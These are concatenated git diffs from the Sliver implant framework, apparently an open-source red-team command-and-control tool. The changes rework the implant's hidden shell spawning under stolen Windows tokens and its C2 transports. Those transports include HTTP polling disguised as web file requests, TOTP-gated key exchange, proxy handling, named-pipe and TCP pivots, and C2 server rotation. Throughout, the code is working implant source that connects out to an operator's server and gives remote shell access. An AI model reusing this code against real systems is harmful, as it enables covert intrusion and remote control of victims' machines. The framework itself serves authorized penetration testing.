// GetSystemShellPath - Find bash or sh
func GetSystemShellPath(path string) []string {
if exists(path) {
return []string{path}
}
if exists(bash[0]) {
return bash
}
return sh
}
-99
View File
@@ -20,30 +20,8 @@ package shell
import (
"io"
// {{if .Config.Debug}}
"log"
// {{end}}
"os"
"os/exec"
// {{if ne .Config.GOOS "windows"}}
"runtime"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
// {{end}}
// {{if eq .Config.GOOS "windows"}}
"syscall"
"github.com/bishopfox/sliver/implant/sliver/priv"
"golang.org/x/sys/windows"
// {{end}}
)
const (
readBufSize = 1024
)
// Shell - Struct to hold shell related data
@@ -54,89 +32,12 @@ type Shell struct {
Stdin io.WriteCloser
}
// Start - Start a process
func Start(command string) error {
cmd := exec.Command(command)
//{{if eq .Config.GOOS "windows"}}
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
HideWindow: true,
}
//{{end}}
return cmd.Start()
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
// {{if ne .Config.GOOS "windows"}}
if enablePty && runtime.GOOS != "windows" {
return ptyShell(tunnelID, command)
}
// {{end}}
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
var cmd *exec.Cmd
cmd = exec.Command(command[0], command[1:]...)
//{{if eq .Config.GOOS "windows"}}
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
HideWindow: true,
}
//{{end}}
stdin, _ := cmd.StdinPipe()
stdout, _ := cmd.StdoutPipe()
// cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
}
// StartAndWait starts a system shell then waits for it to complete
func (s *Shell) StartAndWait() {
s.Command.Start()
s.Command.Wait()
}
// {{if ne .Config.GOOS "windows"}}
func ptyShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[ptmx] %s", command)
// {{end}}
var cmd *exec.Cmd
cmd = exec.Command(command[0], command[1:]...)
ptmx, err := pty.Start(cmd)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[ptmx] %v, falling back to piped shell...", err)
// {{end}}
return pipedShell(tunnelID, command)
}
cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: ptmx,
Stdin: ptmx,
}
}
// {{end}}
func exists(path string) bool {
_, err := os.Stat(path)
if err == nil {
@@ -1,4 +1,5 @@
// +build !windows !linux !darwin
//go:build !windows && !darwin && !linux && !freebsd && !openbsd && !dragonfly
package shell
/*
@@ -20,11 +21,11 @@ package shell
*/
import (
"io"
// {{if .Config.Debug}}
"log"
// {{end}}
"os"
"os/exec"
)
@@ -34,14 +35,6 @@ var (
sh = []string{"/bin/sh"}
)
// Shell - Struct to hold shell related data
type Shell struct {
ID uint64
Command *exec.Cmd
Stdout io.ReadCloser
Stdin io.WriteCloser
}
// Start - Start a process
func Start(command string) error {
cmd := exec.Command(command)
@@ -49,7 +42,7 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
return pipedShell(tunnelID, command)
}
@@ -58,9 +51,7 @@ func pipedShell(tunnelID uint64, command []string) *Shell {
log.Printf("[shell] %s", command)
// {{end}}
var cmd *exec.Cmd
cmd = exec.Command(command[0], command[1:]...)
cmd := exec.Command(command[0], command[1:]...)
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
@@ -94,20 +85,3 @@ func GetSystemShellPath(path string) []string {
}
return sh
}
// StartAndWait starts a system shell then waits for it to complete
func (s *Shell) StartAndWait() {
s.Command.Start()
s.Command.Wait()
}
func exists(path string) bool {
_, err := os.Stat(path)
if err == nil {
return true
}
if os.IsNotExist(err) {
return false
}
return true
}
+48 -1
View File
@@ -18,13 +18,23 @@ package shell
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/priv"
"golang.org/x/sys/windows"
"os/exec"
"syscall"
)
var (
// Shell constants
commandPrompt = []string{"C:\\Windows\\System32\\cmd.exe"}
powerShell = []string{
"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"-NoExit",
// "-WindowStyle", "Hidden",
"-Command", "[Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8",
}
)
@@ -39,3 +49,40 @@ func GetSystemShellPath(path string) []string {
}
return commandPrompt
}
// Start - Start a process
func Start(command string) error {
cmd := exec.Command(command)
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
HideWindow: true,
}
return cmd.Start()
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
var cmd *exec.Cmd
cmd = exec.Command(command[0], command[1:]...)
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
HideWindow: true,
}
stdin, _ := cmd.StdinPipe()
stdout, _ := cmd.StdoutPipe()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
}
+23
View File
@@ -30,6 +30,14 @@ import (
"crypto/sha256"
"errors"
"io"
// {{if .Config.Debug}}
"log"
// {{end}}
"time"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
)
const (
@@ -125,3 +133,18 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
}
return plaintext, nil
}
func GetOTPCode() string {
now := time.Now().UTC()
opts := totp.ValidateOpts{
Digits: 8,
Algorithm: otp.AlgorithmSHA256,
Period: uint(30),
Skew: uint(1),
}
code, _ := totp.GenerateCodeCustom("{{ .OTPSecret }}", now, opts)
// {{if .Config.Debug}}
log.Printf("TOTP Code: %s", code)
// {{end}}
return code
}
+65 -5
View File
@@ -1,3 +1,5 @@
//go:build windows
package transports
/*
@@ -23,15 +25,18 @@ package transports
import (
"bytes"
"encoding/binary"
"io"
"net"
"net/url"
"strings"
"sync"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/protobuf/sliverpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/lesnuages/go-winio"
"google.golang.org/protobuf/proto"
)
@@ -41,6 +46,61 @@ const (
writeBufSizeNamedPipe = 1024
)
func namedPipeConnect(uri *url.URL) (*Connection, error) {
conn, err := namePipeDial(uri)
if err != nil {
return nil, err
}
send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
ctrl := make(chan bool, 1)
connection := &Connection{
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
cleanup: func() {
// {{if .Config.Debug}}
log.Printf("[namedpipe] lost connection, cleanup...")
// {{end}}
close(send)
ctrl <- true
close(recv)
},
}
go func() {
defer connection.Cleanup()
for envelope := range send {
// {{if .Config.Debug}}
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
// {{end}}
namedPipeWriteEnvelope(&conn, envelope)
}
}()
go func() {
defer connection.Cleanup()
for {
envelope, err := namedPipeReadEnvelope(&conn)
if err == io.EOF {
break
}
if err == nil {
recv <- envelope
// {{if .Config.Debug}}
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
// {{end}}
}
}
}()
activeConnection = connection
return connection, nil
}
func namePipeDial(uri *url.URL) (net.Conn, error) {
address := uri.String()
address = strings.ReplaceAll(address, "namedpipe://", "")
@@ -64,7 +124,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
_, err = (*conn).Write(dataLengthBuf.Bytes())
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Error %v and %d\n", err, dataLengthBuf)
log.Printf("[namedpipe] Error %s and %d\n", err, dataLengthBuf)
// {{end}}
}
totalWritten := 0
@@ -73,7 +133,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
totalWritten += n
if err2 != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Error %v\n", err)
log.Printf("[namedpipe] Error %s\n", err)
// {{end}}
}
}
@@ -82,7 +142,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Error %v\n", err)
log.Printf("[namedpipe] Error %s", err)
// {{end}}
}
}
@@ -94,7 +154,7 @@ func namedPipeReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
_, err := (*conn).Read(dataLengthBuf)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Error (read msg-length): %v\n", err)
log.Printf("[namedpipe] Error (read msg-length): %s", err)
// {{end}}
return nil, err
}
@@ -120,7 +180,7 @@ func namedPipeReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
err = proto.Unmarshal(dataBuf, envelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Unmarshaling envelope error: %v", err)
log.Printf("[namedpipe] Unmarshal envelope error: %s", err)
// {{end}}
return &sliverpb.Envelope{}, err
}
+112 -122
View File
@@ -20,13 +20,6 @@ package transports
// {{if .Config.HTTPc2Enabled}}
// Procedural C2
// ===============
// .txt = rsakey
// .png = init
// .php = session
// .js = poll
import (
"bytes"
"crypto/rsa"
@@ -53,8 +46,6 @@ import (
"github.com/bishopfox/sliver/implant/sliver/encoders"
"github.com/bishopfox/sliver/implant/sliver/proxy"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
"google.golang.org/protobuf/proto"
)
@@ -66,14 +57,10 @@ const (
acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
)
func init() {
insecureRand.Seed(time.Now().UnixNano())
}
// HTTPStartSession - Attempts to start a session with a given address
func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, error) {
func HTTPStartSession(address string, pathPrefix string, proxyConfig string) (*SliverHTTPClient, error) {
var client *SliverHTTPClient
client = httpsClient(address, true)
client = httpsClient(address, proxyConfig)
client.PathPrefix = pathPrefix
err := client.SessionInit()
if err != nil {
@@ -81,7 +68,7 @@ func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, err
if strings.HasSuffix(address, ":443") {
address = fmt.Sprintf("%s:80", address[:len(address)-4])
}
client = httpClient(address, true) // Fallback to insecure HTTP
client = httpClient(address, proxyConfig) // Fallback to insecure HTTP
err = client.SessionInit()
if err != nil {
return nil, err
@@ -140,7 +127,7 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
return req
}
func (s *SliverHTTPClient) nonceQueryArgument(uri *url.URL, value int) *url.URL {
func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value int) *url.URL {
values := uri.Query()
key := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
// {{if .Config.Debug}}
@@ -157,7 +144,7 @@ func (s *SliverHTTPClient) nonceQueryArgument(uri *url.URL, value int) *url.URL
return uri
}
func (s *SliverHTTPClient) otpQueryArgument(uri *url.URL, value string) *url.URL {
func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL {
values := uri.Query()
key1 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
key2 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
@@ -172,11 +159,11 @@ func (s *SliverHTTPClient) otpQueryArgument(uri *url.URL, value string) *url.URL
}
func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
uri := s.txtURL()
uri := s.keyExchangeURL()
nonce, encoder := encoders.RandomTxtEncoder()
s.nonceQueryArgument(uri, nonce)
otpCode := getOTPCode()
s.otpQueryArgument(uri, otpCode)
s.NonceQueryArgument(uri, nonce)
otpCode := GetOTPCode()
s.OTPQueryArgument(uri, otpCode)
// {{if .Config.Debug}}
log.Printf("[http] GET -> %s", uri)
@@ -231,10 +218,10 @@ func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
payload := encoder.Encode(sessionInit)
reqBody := bytes.NewReader(payload) // Already RSA encrypted
uri := s.phtmlURL()
s.nonceQueryArgument(uri, nonce)
otpCode := getOTPCode()
s.otpQueryArgument(uri, otpCode)
uri := s.startSessionURL()
s.NonceQueryArgument(uri, nonce)
otpCode := GetOTPCode()
s.OTPQueryArgument(uri, otpCode)
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
// {{if .Config.Debug}}
log.Printf("[http] POST -> %s", uri)
@@ -264,14 +251,18 @@ func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
return nil
}
var (
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
)
// Poll - Perform an HTTP GET request
func (s *SliverHTTPClient) Poll() ([]byte, error) {
if s.SessionID == "" || s.SessionKey == nil {
return nil, errors.New("no session")
}
uri := s.jsURL()
uri := s.pollURL()
nonce, encoder := encoders.RandomEncoder()
s.nonceQueryArgument(uri, nonce)
s.NonceQueryArgument(uri, nonce)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
// {{if .Config.Debug}}
log.Printf("[http] GET -> %s", uri)
@@ -283,28 +274,35 @@ func (s *SliverHTTPClient) Poll() ([]byte, error) {
// {{end}}
return nil, err
}
if resp.StatusCode != 200 && resp.StatusCode != 201 {
return nil, errors.New("Non-200 response code")
}
if resp.StatusCode == 403 {
if resp.StatusCode == http.StatusForbidden {
// {{if .Config.Debug}}
log.Printf("Server responded with invalid session for %v", s.SessionID)
// {{end}}
return nil, errors.New("invalid session")
}
var data []byte
respData, _ := ioutil.ReadAll(resp.Body)
defer resp.Body.Close()
if 0 < len(respData) {
data, err = encoder.Decode(respData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Decoding failed %s", err)
// {{end}}
return nil, err
}
if resp.StatusCode == http.StatusNoContent {
return nil, nil
}
return GCMDecrypt(*s.SessionKey, data)
if resp.StatusCode == http.StatusOK {
var data []byte
respData, _ := ioutil.ReadAll(resp.Body)
defer resp.Body.Close()
if 0 < len(respData) {
data, err = encoder.Decode(respData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Decoding failed %s", err)
// {{end}}
return nil, err
}
}
return GCMDecrypt(*s.SessionKey, data)
}
// {{if .Config.Debug}}
log.Printf("[http] Unexpected status code %v", resp)
// {{end}}
return nil, ErrStatusCodeUnexpected
}
// Send - Perform an HTTP POST request
@@ -312,11 +310,11 @@ func (s *SliverHTTPClient) Send(data []byte) error {
if s.SessionID == "" || s.SessionKey == nil {
return errors.New("no session")
}
reqData, err := GCMEncrypt(*s.SessionKey, data)
reqData, _ := GCMEncrypt(*s.SessionKey, data)
uri := s.phpURL()
uri := s.sessionURL()
nonce, encoder := encoders.RandomEncoder()
s.nonceQueryArgument(uri, nonce)
s.NonceQueryArgument(uri, nonce)
reader := bytes.NewReader(encoder.Encode(reqData))
// {{if .Config.Debug}}
@@ -347,90 +345,84 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
return strings.Join(segments, "/")
}
// Procedural C2
// ===============
// .txt = rsakey
// .php = start / session
// .js = poll
// .png = stop
// .woff = sliver shellcode
func (s *SliverHTTPClient) jsURL() *url.URL {
func (s *SliverHTTPClient) keyExchangeURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{
// {{range .HTTPC2Config.JsPaths}}
// {{range .HTTPC2ImplantConfig.KeyExchangePaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.JsFiles}}
// {{range .HTTPC2ImplantConfig.KeyExchangeFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.KeyExchangeFileExt}}"))
return curl
}
func (s *SliverHTTPClient) pngURL() *url.URL {
func (s *SliverHTTPClient) pollURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{
// {{range .HTTPC2Config.PngPaths}}
// {{range .HTTPC2ImplantConfig.PollPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.PngFiles}}
// {{range .HTTPC2ImplantConfig.PollFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.PollFileExt}}"))
return curl
}
func (s *SliverHTTPClient) phpURL() *url.URL {
func (s *SliverHTTPClient) startSessionURL() *url.URL {
sessionURI := s.sessionURL()
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExt }}")
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExt }}"
curl, _ := url.Parse(uri)
return curl
}
func (s *SliverHTTPClient) sessionURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{
// {{range .HTTPC2Config.PhpPaths}}
// {{range .HTTPC2ImplantConfig.SessionPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.PhpFiles}}
// {{range .HTTPC2ImplantConfig.SessionFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.SessionFileExt}}"))
return curl
}
func (s *SliverHTTPClient) phtmlURL() *url.URL {
curl := s.phpURL()
curl, _ = url.Parse(strings.Replace(curl.String(), ".php", ".phtml", 1))
return curl
}
func (s *SliverHTTPClient) txtURL() *url.URL {
func (s *SliverHTTPClient) closeURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{
// {{range .HTTPC2Config.TxtPaths}}
// {{range .HTTPC2ImplantConfig.ClosePaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.TxtFiles}}
// {{range .HTTPC2ImplantConfig.CloseFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.CloseFileExt}}"))
return curl
}
// Must return at least a file name, path segments are optional
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string) []string {
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext string) []string {
genSegments := []string{}
if 0 < len(segments) {
n := insecureRand.Intn(len(segments)) // How many segments?
@@ -440,14 +432,18 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string) []s
}
}
filename := filenames[insecureRand.Intn(len(filenames))]
genSegments = append(genSegments, filename)
// {{if .Config.Debug}}
log.Printf("[http] segments = %v, filename = %s, ext = %s", genSegments, filename, ext)
// {{end}}
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
return genSegments
}
// [ HTTP(S) Clients ] ------------------------------------------------------------
func httpClient(address string, useProxy bool) *SliverHTTPClient {
httpTransport := &http.Transport{
func httpClient(address string, proxyConfig string) *SliverHTTPClient {
transport := &http.Transport{
Dial: proxy.Direct.Dial,
TLSHandshakeTimeout: defaultNetTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
@@ -457,31 +453,15 @@ func httpClient(address string, useProxy bool) *SliverHTTPClient {
Client: &http.Client{
Jar: cookieJar(),
Timeout: defaultReqTimeout,
Transport: httpTransport,
Transport: transport,
},
}
if useProxy {
p := proxy.NewProvider("").GetHTTPProxy(client.Origin)
if p != nil {
// {{if .Config.Debug}}
log.Printf("Found proxy %#v\n", p)
// {{end}}
proxyURL := p.URL()
if proxyURL.Scheme == "" {
proxyURL.Scheme = "http"
}
// {{if .Config.Debug}}
log.Printf("Proxy URL = '%s'\n", proxyURL)
// {{end}}
httpTransport.Proxy = http.ProxyURL(proxyURL)
client.ProxyURL = proxyURL.String()
}
}
parseProxyConfig(client, transport, proxyConfig)
return client
}
func httpsClient(address string, useProxy bool) *SliverHTTPClient {
netTransport := &http.Transport{
func httpsClient(address string, proxyConfig string) *SliverHTTPClient {
transport := &http.Transport{
Dial: (&net.Dialer{
Timeout: defaultNetTimeout,
}).Dial,
@@ -493,10 +473,20 @@ func httpsClient(address string, useProxy bool) *SliverHTTPClient {
Client: &http.Client{
Jar: cookieJar(),
Timeout: defaultReqTimeout,
Transport: netTransport,
Transport: transport,
},
}
if useProxy {
parseProxyConfig(client, transport, proxyConfig)
return client
}
func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxyConfig string) {
switch proxyConfig {
case "never":
break
case "":
fallthrough
case "auto":
p := proxy.NewProvider("").GetHTTPSProxy(client.Origin)
if p != nil {
// {{if .Config.Debug}}
@@ -509,11 +499,26 @@ func httpsClient(address string, useProxy bool) *SliverHTTPClient {
// {{if .Config.Debug}}
log.Printf("Proxy URL = '%s'\n", proxyURL)
// {{end}}
netTransport.Proxy = http.ProxyURL(proxyURL)
transport.Proxy = http.ProxyURL(proxyURL)
client.ProxyURL = proxyURL.String()
}
default:
// {{if .Config.Debug}}
log.Printf("Force proxy %#v\n", proxyConfig)
// {{end}}
proxyURL, err := url.Parse(proxyConfig)
if err != nil {
break
}
if proxyURL.Scheme == "" {
proxyURL.Scheme = "https"
}
// {{if .Config.Debug}}
log.Printf("Proxy URL = '%s'\n", proxyURL)
// {{end}}
transport.Proxy = http.ProxyURL(proxyURL)
client.ProxyURL = proxyURL.String()
}
return client
}
// Jar - CookieJar implementation that ignores domains/origins
@@ -551,19 +556,4 @@ func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
return jar.cookies
}
func getOTPCode() string {
now := time.Now().UTC()
opts := totp.ValidateOpts{
Digits: 8,
Algorithm: otp.AlgorithmSHA256,
Period: uint(30),
Skew: uint(1),
}
code, _ := totp.GenerateCodeCustom("{{ .OTPSecret }}", now, opts)
// {{if .Config.Debug}}
log.Printf("HTTP(S) TOTP Code: %s", code)
// {{end}}
return code
}
// {{end}} -HTTPc2Enabled
+3 -5
View File
@@ -33,7 +33,6 @@ import (
"os"
"github.com/bishopfox/sliver/protobuf/sliverpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
@@ -63,9 +62,9 @@ func socketWritePing(connection *tls.Conn) error {
// {{end}}
// We don't need a real nonce here, we just need to write to the socket
pingBuf, _ := proto.Marshal(&sliverpb.Ping{Nonce: 31337})
envelope := sliverpb.Envelope{
Type: sliverpb.MsgPing,
pingBuf, _ := proto.Marshal(&pb.Ping{Nonce: 31337})
envelope := pb.Envelope{
Type: pb.MsgPing,
Data: pingBuf,
}
return socketWriteEnvelope(connection, &envelope)
@@ -152,7 +151,6 @@ func getTLSConfig() *tls.Config {
InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
VerifyPeerCertificate: rootOnlyVerifyCertificate,
}
tlsConfig.BuildNameToCertificate()
return tlsConfig
}
+2 -2
View File
@@ -18,7 +18,7 @@ const (
writeBufSizeTCP = 1024
)
func tcpPivoteWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
func tcpPivotWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
data, err := proto.Marshal(envelope)
if err != nil {
// {{if .Config.Debug}}
@@ -87,7 +87,7 @@ func tcpPivotReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
err = proto.Unmarshal(dataBuf, envelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcppivot] Unmarshaling envelope error: %v", err)
log.Printf("[tcppivot] Unmarshal envelope error: %v", err)
// {{end}}
return &sliverpb.Envelope{}, err
}
@@ -1,8 +1,10 @@
package shell
//go:build !windows
package transports
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -16,21 +18,19 @@ package shell
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
-----------------------------------------------------------------------
Place holder so we don't get undefined functions when compiling to
non-Windows platforms.
*/
var (
// Shell constants
bash = []string{"/bin/bash"}
sh = []string{"/bin/sh"}
import (
"errors"
"net/url"
)
// GetSystemShellPath - Find bash or sh
func GetSystemShellPath(path string) []string {
if exists(path) {
return []string{path}
}
if exists(bash[0]) {
return bash
}
return sh
func namedPipeConnect(_ *url.URL) (*Connection, error) {
return nil, errors.New("not supported")
}
+75 -82
View File
@@ -19,10 +19,10 @@ package transports
*/
import (
insecureRand "math/rand"
// {{if or .Config.HTTPc2Enabled .Config.TCPPivotc2Enabled .Config.WGc2Enabled}}
"net"
// {{end}}
// {{if .Config.Debug}}
@@ -33,6 +33,7 @@ import (
// {{if .Config.WGc2Enabled}}
"errors"
// {{end}}
"io"
"net/url"
"os"
@@ -40,7 +41,6 @@ import (
"sync"
"time"
"github.com/bishopfox/sliver/protobuf/sliverpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
// {{if .Config.HTTPc2Enabled}}
@@ -107,6 +107,10 @@ type Tunnel struct {
WriteSequence uint64
}
func init() {
insecureRand.Seed(time.Now().UnixNano())
}
// Tunnel - Add tunnel to mapping
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
@@ -130,8 +134,8 @@ func (c *Connection) RemoveTunnel(ID uint64) {
}
func (c *Connection) RequestResend(data []byte) {
c.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
c.Send <- &pb.Envelope{
Type: pb.MsgTunnelData,
Data: data,
}
}
@@ -289,14 +293,45 @@ func GetActiveConnection() *Connection {
}
func nextCCServer() *url.URL {
uri, err := url.Parse(ccServers[*ccCounter%len(ccServers)])
var next string
switch "{{.Config.ConnectionStrategy}}" {
case "r": // Random
next = ccServers[insecureRand.Intn(len(ccServers))]
case "rd": // Random Domain
next = randomCCDomain(ccServers[*ccCounter%len(ccServers)])
case "s": // Sequential
next = ccServers[*ccCounter%len(ccServers)]
default:
next = ccServers[*ccCounter%len(ccServers)]
}
*ccCounter++
uri, err := url.Parse(next)
if err != nil {
return nextCCServer()
}
return uri
}
// randomCCDomain - Random selection within a protocol
func randomCCDomain(next string) string {
uri, err := url.Parse(next)
if err != nil {
return next
}
pool := []string{}
protocol := uri.Scheme
for _, cc := range ccServers {
uri, err := url.Parse(cc)
if err != nil {
continue
}
if uri.Scheme == protocol {
pool = append(pool, cc)
}
}
return pool[insecureRand.Intn(len(pool))]
}
// GetReconnectInterval - Parse the reconnect interval inserted at compile-time
func GetReconnectInterval() time.Duration {
if reconnectInterval == -1 {
@@ -400,12 +435,12 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
}
err := socketWriteEnvelope(conn, envelope)
if err != nil {
break
return
}
case <-time.After(mtlsPingInterval):
socketWritePing(conn)
if err != nil {
break
return
}
}
}
@@ -490,12 +525,12 @@ func wgConnect(uri *url.URL) (*Connection, error) {
}
err := socketWGWriteEnvelope(conn, envelope)
if err != nil {
break
return
}
case <-time.After(mtlsPingInterval):
socketWGWritePing(conn)
if err != nil {
break
return
}
}
}
@@ -524,12 +559,13 @@ func wgConnect(uri *url.URL) (*Connection, error) {
// {{end}} -WGc2Enabled
// {{if .Config.HTTPc2Enabled}}
func httpConnect(uri *url.URL) (*Connection, error) {
func httpConnect(c2URI *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("Connecting -> http(s)://%s", uri.Host)
log.Printf("Connecting -> http(s)://%s", c2URI.Host)
// {{end}}
client, err := HTTPStartSession(uri.Host, uri.Path)
proxyConfig := c2URI.Query().Get("proxy")
client, err := HTTPStartSession(c2URI.Host, c2URI.Path, proxyConfig)
if err != nil {
// {{if .Config.Debug}}
log.Printf("http(s) connection error %v", err)
@@ -572,37 +608,52 @@ func httpConnect(uri *url.URL) (*Connection, error) {
go func() {
defer connection.Cleanup()
errCount := 0 // Number of sequential errors
for {
select {
case <-ctrl:
return
default:
resp, err := client.Poll()
switch err := err.(type) {
switch errType := err.(type) {
case nil:
errCount = 0
if len(resp) == 0 {
continue
}
envelope := &pb.Envelope{}
proto.Unmarshal(resp, envelope)
err = proto.Unmarshal(resp, envelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to decode pb: %s", err)
// {{end}}
continue
}
recv <- envelope
case net.Error:
if err.Timeout() {
case *url.Error:
errCount++
if err, ok := errType.Err.(net.Error); ok && err.Timeout() {
// {{if .Config.Debug}}
log.Printf("non-fatal error, continue")
log.Printf("timeout error #%d", errCount)
// {{end}}
continue
if errCount < maxErrors {
continue
}
}
return
case *url.Error:
if err, ok := err.Err.(net.Error); ok && err.Timeout() {
case net.Error:
errCount++
if errType.Timeout() {
// {{if .Config.Debug}}
log.Printf("non-fatal error, continue")
log.Printf("timeout error #%d", errCount)
// {{end}}
continue
if errCount < maxErrors {
continue
}
}
return
default:
errCount++
// {{if .Config.Debug}}
log.Printf("[http] error: %#v", err)
// {{end}}
@@ -671,64 +722,6 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
// {{end}} - .DNSc2Enabled
// {{if .Config.NamePipec2Enabled}}
func namedPipeConnect(uri *url.URL) (*Connection, error) {
conn, err := namePipeDial(uri)
if err != nil {
return nil, err
}
